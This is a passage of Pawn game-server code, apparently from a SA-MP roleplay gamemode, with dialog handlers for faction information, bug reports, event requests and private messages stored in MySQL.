	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 1)
	   {
	   ISelectedWhat[playerid] = 2;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 2)
	   {
	   ISelectedWhat[playerid] = 3;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 3)
	   {
	   ISelectedWhat[playerid] = 4;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 4)
	   {
	   ISelectedWhat[playerid] = 5;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 5)
	   {
	   ISelectedWhat[playerid] = 6;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 6)
	   {
	   ISelectedWhat[playerid] = 7;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 7)
	   {
	   ISelectedWhat[playerid] = 8;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 8)
	   {
	   ISelectedWhat[playerid] = 9;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 9)
	   {
	   ISelectedWhat[playerid] = 10;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 10)
	   {
	   ISelectedWhat[playerid] = 11;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 11)
	   {
	   ISelectedWhat[playerid] = 12;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 12)
	   {
	   ISelectedWhat[playerid] = 13;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 13)
	   {
	   ISelectedWhat[playerid] = 14;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 14)
	   {
	   ISelectedWhat[playerid] = 15;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 15)
	   {
	   ISelectedWhat[playerid] = 16;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
 	   format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	   if(listitem == 16)
	   {
	   ISelectedWhat[playerid] = 17;
	   sqlbegir = (ISelectedWhat[playerid]-1);
	   new fmembers = GetFactionMembers(sqlbegir);
	   new fminlevel = DynamicFactions[sqlbegir][fMinLevel];
	   new fmaxmembers = DynamicFactions[sqlbegir][fMaxMembers];
       format(SaveThese1, sizeof(SaveThese1), "Faction Status: {ffffff}%s",(DynamicFactions[sqlbegir][fApplication] > 0) ? ("{ff0000}Locked") : ("{00ff00}UnLocked"));
       format(SaveThese2, sizeof(SaveThese2), "Faction Minimum Level To Join: {ffffff}%d",fminlevel);
	   format(SaveThese3, sizeof(SaveThese3), "Faction Members: {ffffff}%d/%d",fmembers,fmaxmembers);
	   strcpy(SaveThisData1[playerid],SaveThese1,100);
	   strcpy(SaveThisData2[playerid],SaveThese2,100);
	   strcpy(SaveThisData3[playerid],SaveThese3,100);
	   SendMessage(playerid, CRISTIAN, "_______________________________________________");
	   format(sendding, sizeof(sendding), "Faction Name: %s",GetFacName(ISelectedWhat[playerid]));
	   SendMessage(playerid, COLOR_LIGHTRED, sendding);
	   GetFacLeaderByID(playerid, ISelectedWhat[playerid]);
	   GetThisFacZZ[playerid] = SetTimerEx("GetThisFacZZZ", 50, false, "i", playerid);
	   return 1;
	   }
	}
	
	if(dialogid == DIALOG_BUGS)
	{
	 if(response)
	 {
		new query[100];
		mysql_format(handle, query, sizeof(query), "SELECT * FROM `bugs` WHERE ID='%d'",Selectedx[playerid][listitem]);
		new Cache:result=mysql_query(handle, query, true);
		if(cache_num_rows()==0)return cache_delete(result);
		new reporter[25],bug[128],subject[128],str[230];
		Selected2x[playerid]=cache_get_field_content_int(0,"ID");
		cache_get_field_content(0,"Reporter",reporter,handle,sizeof(reporter));
		cache_get_field_content(0,"Subject",subject,handle,sizeof(subject));
		cache_get_field_content(0,"Bug",bug,handle,sizeof(bug));
		format(str,sizeof(str),"Reporter: %s\n%s",reporter,bug);
		ShowPlayerDialog(playerid, DIALOG_BUGS2, DIALOG_STYLE_MSGBOX, subject, str, "Delete", "Back");
		cache_delete(result);
	  }
	return 1;
	}
	
	
	if(dialogid == 5010)
	{
	if(!response)return 1;
	if(!IsUsingValidHex(inputtext))
	{
	if(strlen(inputtext)>=21||strlen(inputtext)<=2)return ShowPlayerDialog(playerid,5010,DIALOG_STYLE_INPUT,"{FF0000}* Enter a title between 3 to 20 characters.\n{A9C4E4}Request an Event","Enter the title of event below","Done","Close");
    strcpy(ReqTitle[playerid],inputtext,30);
    ShowPlayerDialog(playerid, 5011, DIALOG_STYLE_LIST, "Select the type of event", "Duel\nLast Man Standing\nLast Car Standing\nRace\nProtect the VIP\nDice\nPaintball", "Done", "Back");
	}
	else
	{
	if(strlen(inputtext)>=29||strlen(inputtext)<=2)return ShowPlayerDialog(playerid,5010,DIALOG_STYLE_INPUT,"{FF0000}* Enter a title between 3 to 28 characters.\n{A9C4E4}Request an Event","Enter the title of event below","Done","Close");
    strcpy(ReqTitle[playerid],inputtext,30);
    ShowPlayerDialog(playerid, 5011, DIALOG_STYLE_LIST, "Select the type of event", "Duel\nLast Man Standing\nLast Car Standing\nRace\nProtect the VIP\nDice\nPaintball", "Done", "Back");
	}
	}
	if(dialogid == 5011)
	{
	if(!response){ShowPlayerDialog(playerid,5010,DIALOG_STYLE_INPUT,"Request an Event","Enter the title of event below","Done","Close");return 1;}
	ReqType[playerid]=listitem+1;
	ShowInteriorList(playerid);
	}
	if(dialogid == 5012)
	{
	if(!response){ShowPlayerDialog(playerid, 5011, DIALOG_STYLE_LIST, "Select the type of event", "Duel\nLast Man Standing\nLast Car Standing\nRace\nProtect the VIP\nDice\nPaintball", "Done", "Back");return 1;}
	ReqInt[playerid]=listitem+1;
	ShowPlayerDialog(playerid, 5013, DIALOG_STYLE_INPUT, "Request an Event", "Enter the prize of event below", "Done", "Back");
	}
	if(dialogid == 5013)
	{
	if(!response){ShowInteriorList(playerid);return 1;}
	new val=strval(inputtext);
	if(val<10000||val>1000000)return ShowPlayerDialog(playerid, 5013, DIALOG_STYLE_INPUT, "Request an Event", "{FF0000}* Invalid prize entered.\n{A9C4E4}Enter the prize of event below", "Done", "Back");
	ReqPrize[playerid]=val;
    ShowPlayerDialog(playerid, 5014, DIALOG_STYLE_INPUT, "Request an Event", "Enter minimum level to join your event below", "Done", "Back");
	}
	if(dialogid == 5014)
	{
	if(!response){ShowPlayerDialog(playerid, 5013, DIALOG_STYLE_INPUT, "Request an Event", "Enter the prize of event below", "Done", "Back");return 1;}
	new val=strval(inputtext);
	if(val<1||val>15)return ShowPlayerDialog(playerid, 5014, DIALOG_STYLE_INPUT, "Request an Event", "{FF0000}* Invalid level entered.\n{A9C4E4}Enter minimum level to join your event below", "Done", "Back");
	ReqMinLevel[playerid]=val;
	ShowPlayerDialog(playerid, 5015, DIALOG_STYLE_INPUT, "Request an Event", "Enter maximum level to join your event below", "Done", "Back");
	}
	if(dialogid == 5015)
	{
	if(!response){ShowPlayerDialog(playerid, 5014, DIALOG_STYLE_INPUT, "Request an Event", "Enter minimum level to join your event below", "Done", "Back");return 1;}
	new val=strval(inputtext);
	if(val<90||val>200)return ShowPlayerDialog(playerid, 5014, DIALOG_STYLE_INPUT, "Request an Event", "{FF0000}* Invalid level entered.\n{A9C4E4}Enter maximum level to join your event below", "Done", "Back");
	ReqMaxLevel[playerid]=val;
	ShowPlayerDialog(playerid, 5016, DIALOG_STYLE_INPUT, "Request an Event", "If you want have Event-Helper for help you by organizing, enter their ID or part of their name", "Done", "Back");
	}
	if(dialogid == 5016)
	{
	if(!response){ShowPlayerDialog(playerid, 5015, DIALOG_STYLE_INPUT, "Request an Event", "Enter maximum level to join your event below", "Done", "Back");return 1;}
	new len=strlen(inputtext), target, msg[300];
	if(len>=1)// Entered
	{
	target = ReturnUser6(inputtext);
	if(!IsPlayerConnected(target))return ShowPlayerDialog(playerid, 5016, DIALOG_STYLE_INPUT, "{FF0000}* This player isn't connected.\n{A9C4E4}Request an Event", "If you want have Event-Helper for help you by organizing, enter their ID or part of their name", "Done", "Back");
	if(target==playerid)return ShowPlayerDialog(playerid, 5016, DIALOG_STYLE_INPUT, "{FF0000}* You can't be event helper.\n{A9C4E4}Request an Event", "If you want have Event-Helper for help you by organizing, enter their ID or part of their name", "Done", "Back");
  	if(HasWanted(target)||IsAtjail(target)||AFK[target]!=0)return ShowPlayerDialog(playerid, 5016, DIALOG_STYLE_INPUT, "{FF0000}* You can't select this player as event helper.\n{A9C4E4}Request an Event", "If you want have Event-Helper for help you by organizing, enter their ID or part of their name", "Done", "Back");
	ReqHamkar[playerid]=target;
	format(msg, sizeof(msg), "Are these informations correct about your event?\n{A9C4E4}Event Title: %s\n{A9C4E4}Event Prize: $%s\n{A9C4E4}Min-Max level: %d-%d\n{A9C4E4}Event Type: %s\n{A9C4E4}Location: %s\n{A9C4E4}Organizer: %s, Helper: %s", ReqTitle[playerid], FormatNumber(ReqPrize[playerid]), ReqMinLevel[playerid], ReqMaxLevel[playerid], GetEventTypeName(ReqType[playerid]), GetEventInteriorName(ReqType[playerid], ReqInt[playerid]), RPName(playerid), RPName(ReqHamkar[playerid]));
	ShowPlayerDialog(playerid, 5017, DIALOG_STYLE_MSGBOX, "Request an Event", msg, "Yes", "No");
	}
	else// Not entered
	{
	format(msg, sizeof(msg), "Are these informations correct about your event?\n{A9C4E4}Event Title: %s\n{A9C4E4}Event Prize: $%s\n{A9C4E4}Min-Max level: %d-%d\n{A9C4E4}Event Type: %s\n{A9C4E4}Location: %s\n{A9C4E4}Organizer: %s", ReqTitle[playerid], FormatNumber(ReqPrize[playerid]), ReqMinLevel[playerid], ReqMaxLevel[playerid], GetEventTypeName(ReqType[playerid]), GetEventInteriorName(ReqType[playerid], ReqInt[playerid]), RPName(playerid));
	ShowPlayerDialog(playerid, 5017, DIALOG_STYLE_MSGBOX, "Request an Event", msg, "Yes", "No");
	}
	}
	if(dialogid == 5017)
	{
	if(!response)return 1;
	if(ReqHamkar[playerid]!=9999&&!IsPlayerConnected(ReqHamkar[playerid])){ReqHamkar[playerid]=9999;}
	if(HasWanted(playerid)||IsAtjail(playerid)||AFK[playerid]!=0||IsThereEvent)return SEM(playerid, "You can't request this event right now.");
    if(ReqHamkar[playerid]!=9999){if(HasWanted(ReqHamkar[playerid])||IsAtjail(ReqHamkar[playerid])||AFK[ReqHamkar[playerid]]!=0||IsThereEvent)return SEM(playerid, "You can't request this event right now.");}
    if(ReqHamkar[playerid]!=9999){SendEventRequest(playerid, ReqTitle[playerid], ReqPrize[playerid], ReqMinLevel[playerid], ReqMaxLevel[playerid], ReqType[playerid], ReqInt[playerid], ReqHamkar[playerid]);}
    if(ReqHamkar[playerid]==9999){SendEventRequest(playerid, ReqTitle[playerid], ReqPrize[playerid], ReqMinLevel[playerid], ReqMaxLevel[playerid], ReqType[playerid], ReqInt[playerid], 9999);}
	}
	
	
	if(dialogid == DIALOG_BUGS2)
	{
	 if(response)
	 {
		new query[100];
		mysql_format(handle, query, sizeof(query), "DELETE FROM `bugs` WHERE ID='%d'",Selected2x[playerid]);
		mysql_query(handle, query, false);
		SCM(playerid, COLOR_Good, "Reported bug deleted.");
	  }
	  if(!response)
	  {
	  OnPlayerCommandText(playerid, "/bugs");
	  }
	return 1;
	}
	
	
	if(dialogid == DIALOG_PMS)
	{
	 if(response)
	 {
		new query[100];
		mysql_format(handle, query, sizeof(query), "SELECT * FROM `messages` WHERE ID='%d'",Selected[playerid][listitem]);
		new Cache:result=mysql_query(handle, query, true);
		if(cache_num_rows()==0)return cache_delete(result);
		new msg[135],time[32],str[50],SENDERz[50];
		Selected2[playerid]=cache_get_field_content_int(0,"ID");
		cache_get_field_content(0,"Message",msg,handle,sizeof(msg));
		cache_get_field_content(0,"Sender",str,handle,sizeof(str));
		cache_get_field_content(0,"Time",time,handle,sizeof(time));
		cache_get_field_content(0,"Sender",SENDERz,handle,sizeof(SENDERz));
		format(str,sizeof(str),"%s\n%s:",time,str);
		if(AdminCheckedMSG[playerid] == 0)
		{
		new handler[512];
		mysql_format(handle, handler,512,"UPDATE `messages` SET Readed='1' WHERE ID='%d'",Selected2[playerid]);
	    mysql_function_query(handle,handler,false,"SendQuery","");
		}
